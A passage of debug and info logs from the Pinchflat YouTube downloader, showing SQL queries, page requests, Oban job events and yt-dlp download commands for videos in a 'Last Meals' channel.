s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:26:41.097 [info] Sent 200 in 6ms 22:26:58.894 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:00.665 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:27:28.895 [info] {"source":"oban","duration":1067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:44.080 [info] GET /sources/1/media/4 22:27:44.080 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "4", "source_id" => "1"} Pipelines: [:browser] 22:27:44.081 [debug] QUERY OK source="media_items" db=0.4ms idle=1018.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4] 22:27:44.082 [debug] QUERY OK source="tasks" db=0.2ms idle=646.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [4] 22:27:44.083 [debug] QUERY OK source="sources" db=0.5ms idle=19.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:27:44.083 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=20.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7] 22:27:44.084 [debug] QUERY OK source="settings" db=0.3ms idle=21.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:27:44.084 [debug] QUERY OK source="settings" db=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:27:44.085 [debug] QUERY OK source="settings" db=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:27:44.086 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:27:44.090 [info] Sent 200 in 10ms 22:27:58.897 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:00.666 [info] {"source":"oban","duration":234,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:28:28.899 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:38.383 [info] GET /sources/1/media/5 22:28:38.384 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "5", "source_id" => "1"} Pipelines: [:browser] 22:28:38.384 [debug] QUERY OK source="media_items" db=0.2ms idle=843.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [5] 22:28:38.385 [debug] QUERY OK source="tasks" db=0.1ms idle=322.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [5] 22:28:38.385 [debug] QUERY OK source="sources" db=0.1ms idle=322.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:28:38.385 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=322.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [8] 22:28:38.386 [debug] QUERY OK source="settings" db=0.1ms idle=323.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:28:38.386 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:28:38.387 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:28:38.387 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:28:38.410 [info] Sent 200 in 26ms 22:28:58.899 [info] {"source":"oban","duration":557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:00.667 [info] {"source":"oban","duration":167,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:29:04.311 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=uEQ6z0rbn30 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/8f/19/8f194ffda2eb708c3e24facd1b4c1f2891ad98f19c12f4e2c5229aa04288e5cc.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:29:04.320 [debug] Running yt-dlp command for action: download_thumbnail 22:29:04.320 [debug] QUERY OK source="settings" db=0.0ms idle=729.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:29:04.320 [debug] QUERY OK source="settings" db=0.0ms idle=257.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:29:04.320 [debug] QUERY OK source="settings" db=0.0ms idle=257.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:29:04.320 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=uEQ6z0rbn30 --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/90/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/dc/8e/dc8ef8cca8063a4887e18054bda1d6a8fea1226b1adc8c77dc296acbc6928bd1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:29:07.044 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=uEQ6z0rbn30 --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/90/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/dc/8e/dc8ef8cca8063a4887e18054bda1d6a8fea1226b1adc8c77dc296acbc6928bd1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:29:07.044 [debug] QUERY OK db=0.0ms idle=981.8ms begin [] 22:29:07.044 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:29:04Z], "/downloads/Last Meals/2026-02-17 Noah Kahan Eats His Last Meal/Noah Kahan Eats His Last Meal [uEQ6z0rbn30].mp4", ~U[2026-03-28 02:29:07Z], 90] 22:29:07.045 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/90/metadata.json.gz", "/config/metadata/media_items/90/thumbnail.jpg", 90, ~U[2026-03-28 02:29:07Z], ~U[2026-03-28 02:29:07Z]] 22:29:07.045 [debug] QUERY OK db=0.0ms commit [] 22:29:07.057 [debug] QUERY OK source="media_items" db=0.6ms idle=994.4ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [964604699, ~U[2026-03-28 02:29:07Z], 90] 22:29:07.057 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:29:07.057 [info] {"args":{"id":90},"id":89,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":269081857,"event":"job:stop","queue_time":5744975393,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:29:07.058 [debug] QUERY OK source="tasks" db=0.4ms idle=995.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:29:07.058 [debug] QUERY OK source="tasks" db=0.4ms idle=459.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:29:07.058 [debug] QUERY OK source="media_items" db=0.3ms idle=13.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91] 22:29:07.059 [debug] QUERY OK source="media_items" db=0.6ms idle=1.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91] 22:29:07.063 [info] {"args":{"id":92},"id":91,"meta":{},"system_time":1774664947063833353,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:29:07.064 [debug] QUERY OK source="media_items" db=0.2ms idle=5.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [92] 22:29:07.064 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:29:07.064 [debug] QUERY OK source="tasks" db=0.7ms idle=5.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:29:07.065 [debug] QUERY OK source="tasks" db=0.9ms idle=5.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:29:07.065 [debug] QUERY OK source="sources" db=0.6ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:29:07.065 [debug] QUERY OK source="media_items" db=0.2ms queue=0.1ms idle=1.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [91, 92] 22:29:07.065 [debug] QUERY OK source="media_profiles" db=0.5ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:29:07.066 [debug] QUERY OK source="media_items" db=0.7ms idle=1.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [91, 92] 22:29:07.066 [debug] QUERY OK source="media_items" db=0.2ms idle=1.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [92] 22:29:07.066 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [92] 22:29:07.067 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:29:07.067 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:29:07.067 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:29:07.067 [debug] Running yt-dlp command for action: get_downloadable_status 22:29:07.067 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:29:07.068 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:29:07.068 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:29:07.068 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RG_jhSou0S4 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/52/b3/52b3706c80fc38693eeb76cef8f6b832815012dd97522637b638204390ff1ae4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:29:09.413 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RG_jhSou0S4 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/52/b3/52b3706c80fc38693eeb76cef8f6b832815012dd97522637b638204390ff1ae4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:29:09.413 [debug] Running yt-dlp command for action: download 22:29:09.413 [debug] QUERY OK source="settings" db=0.1ms idle=809.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:29:09.413 [debug] QUERY OK source="settings" db=0.0ms idle=350.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:29:09.413 [debug] QUERY OK source="settings" db=0.0ms idle=351.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:29:09.413 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RG_jhSou0S4 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/97/ed/97ed9f65c946bb8d7bd7a6223fa64f71b53ecabc7cc57823ea23246195681ddc.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:29:28.901 [info] {"source":"oban","duration":1123,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:30.985 [info] GET /sources/1/media/212/edit 22:29:30.986 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "212", "source_id" => "1"} Pipelines: [:browser] 22:29:30.986 [debug] QUERY OK source="media_items" db=0.3ms idle=1923.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [212] 22:29:30.987 [debug] QUERY OK source="settings" db=0.1ms idle=1924.4ms SELECT s0."id", 